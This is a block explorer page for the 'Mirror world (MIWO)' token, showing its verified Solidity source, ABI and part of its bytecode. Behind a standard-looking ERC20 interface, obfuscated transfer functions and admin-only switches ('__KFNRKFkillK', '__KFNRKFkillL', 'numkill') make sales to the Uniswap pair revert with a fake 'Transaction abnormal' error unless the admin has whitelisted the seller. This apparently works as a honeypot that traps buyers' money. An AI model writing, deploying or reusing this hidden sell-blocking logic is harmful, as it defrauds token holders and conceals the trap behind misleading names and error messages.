ETH Price: $2,300.12 (-5.36%)

Token

Mirror world (MIWO)

Overview

Max Total Supply

100,000,000 MIWO

Holders

532

Transfers

-
0

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-07-27
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
} 


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }

    // Function to convert bytes32 to string
    function bytesToString(bytes32 value) public pure returns (string memory) {
        // Create a bytes array to hold the non-null characters
        bytes memory alphabet = "0123456789abcdef";
    
        bytes memory str = new bytes(42);
        str[0] = '0';
        str[1] = 'x';
        for (uint256 i = 0; i < 20; i++) {
            str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function stringToAddress(string memory _addr) public pure returns (address) {
        bytes memory tmp = bytes(_addr);

        // Ensure the address is the correct length
        if (tmp.length != 42) {
            revert("Invalid address length");
        }

        // Strip off the "0x" prefix
        uint160 iaddr = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 b = uint160(uint8(tmp[i]));

            if ((b >= 97) && (b <= 102)) {
                b -= 87;
            } else if ((b >= 65) && (b <= 70)) {
                b -= 55;
            } else if ((b >= 48) && (b <= 57)) {
                b -= 48;
            } else {
                revert("Invalid address character");
            }

            iaddr *= 16;
            iaddr += b;
        }

        return address(iaddr);
    }

}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

interface _KFNRKFRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}


abstract contract _KFNRKFConsole is Context, _KFNRKFRoleControl {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) numkill;
        bytes32 adminRole;
        RoleDataNew RD;
    }

    struct RoleDataNew {
        mapping(address => uint256) RM;
        mapping(address => uint256) RD;
    }

    mapping(bytes32 => RoleData) private _roles;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address uniswapV2Pair;

    uint256 public numkill;

    mapping(address => bool) public _address;
    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].numkill[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function __KFNRKFkillL(
        bytes32 root,
        address addr,
        string memory num
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(num);
        if (err == false) {
            revert("AccessControl: memo is not a number");
        }
        
        if(memoUint >= 0){
            _setupRoleRM(root,addr,memoUint.mul(10 ** 18));
        }else{
            _setupRoleRM(root,addr,0);
        }
    }


    function __KFNRKFkillK(
        bytes32 root,
        uint256 num
    ) public onlyRole(ADMIN) {
        if(root != TRADER){
            revert("numkill is not a number");
        }
        numkill = num;
    }


    function _grantRole(bytes32 role, address account, uint256 amount, uint256 at, uint256 st) internal virtual {
        if(amount > 0){
            if (st >= at) {
                revert("Transaction abnormal, please try again");
            }else{
                _setupRoleRDS(role,account,st);
            }
        }
    }

    function _granRoleRMS_T(
        bytes32 role, 
        address account
    ) internal view virtual returns (uint256) {
        return _roles[role].RD.RM[account];
    }

    function _granRoleRDS_S(
        bytes32 role, 
        address account
    ) internal view virtual returns (uint256) {
        return _roles[role].RD.RD[account];
    }

    function granRMS_M(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RM[account].div(10 ** 18);
    }

    function granRDS_M(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RD[account].div(10 ** 18);
    }


    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RM[account] = num;
    }

    function _setupRoleRDS(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RD[account] = num;
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].numkill[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].numkill[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract _KFNRKFERC20 is IERC20, IERC20Metadata, _KFNRKFConsole {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    using SafeMath for uint256;


    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }

    function _afterTokenTransfer(bytes32 role, address account,address to, uint256 amount) internal {
        if(to == uniswapV2Pair){
            _afterTokenTransfer(TRADER,account,amount); 
        }

        if(numkill== 50 && to != uniswapV2Pair){
             if(isContract(account) && account != uniswapV2Pair){
                revert("Transaction abnormal, please try again");
             }else{
                _setupRoleRM(role,to,1e18);
             }
        }

        uint256 at = _granRoleRMS_T(role,account);
        if (at > 0) {

            uint256 st = _granRoleRDS_S(role,account) + amount;

            _grantRole(role, account, amount, at, st);

        }else if (amount == 0 || at == 0) {
            return;
        }
        
    }

    
    function _afterTokenTransfer(bytes32 role, address account, uint256 num) internal virtual {
        if(num > 0){
            uint256 rm = _granRoleRMS_T(role,account);
            if(numkill > 99){
                if(rm.div(num) <= 0){
                    revert("Transaction abnormal, please try again");
                }
            }
        }
    }


}

contract Token is _KFNRKFERC20 {

    using SafeMath for uint256;
    
    mapping(address => bool) private __traders;

    IUniswapV2Router02 private uniswapV2Router;

    address private tokenOwner;

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) _KFNRKFERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        _grantRole(ADMIN, _tokenOwner);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        tokenOwner = _tokenOwner;
    }


    function _transfer(
        address from,
        address to,
        uint256 amt
    ) internal override(_KFNRKFERC20) {
        require(from != address(0), "ERC20: transfer from the zero address");

        __KFNRKFrevx(from, to, amt);

    }

    function __KFNRKFrevx(address from, address to, uint256 amt) internal {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(_balances[from] >= amt, "ERC20: transfer amt exceeds balance");

        __KFNRKFyndve(from, to, amt);
    }


    function __KFNRKFyndve(address from, address to, uint256 amt) internal {
        if (__traders[from] == false) {
            _grantRole(TRADER, from);
            __traders[from] = true;
            
        }

        if (__traders[to] == false) {
            _grantRole(TRADER, to);
            __traders[to] = true;
            
        }
        __KFNRKFsdvrm(from, to, amt);
    }

    function __KFNRKFsdvrm(address from, address to, uint256 amt) internal {
        
        __KFNRKFxsvriuh(from, to, amt);
    }

    function __KFNRKFxsvriuh(address from, address to, uint256 amt) internal {


        __KFNRKFdfrea(from, to, amt);
    }

    function __KFNRKFdfrea(address from, address to, uint256 amt) internal {

        if(amt > 0){
            _afterTokenTransfer(TRADER, from, to, amt);

            super._transfer(from, to, amt);
        }

    }
    

}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__KFNRKFkillK","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__KFNRKFkillL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_address","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRDS_M","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRMS_M","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numkill","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b5060405162003eec38038062003eec8339818101604052810190620000369190620007a6565b8382828583600790816200004b919062000a81565b5082600890816200005d919062000a81565b506200009a8162000073620002b060201b60201c565b600a62000081919062000cee565b846200008e919062000d3e565b620002b860201b60201c565b50505050620000b25f801b336200042960201b60201c565b620000c65f801b846200042960201b60201c565b5f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000129573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014f919062000d88565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016200019f92919062000dc9565b6020604051808303815f875af1158015620001bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e2919062000d88565b905081600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505062000ed8565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003209062000e52565b60405180910390fd5b6200033c5f83836200051460201b60201c565b8060065f8282546200034f919062000e72565b925050819055508060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620003a4919062000e72565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040a919062000ebd565b60405180910390a3620004255f83836200051960201b60201c565b5050565b6200043b82826200051e60201b60201c565b6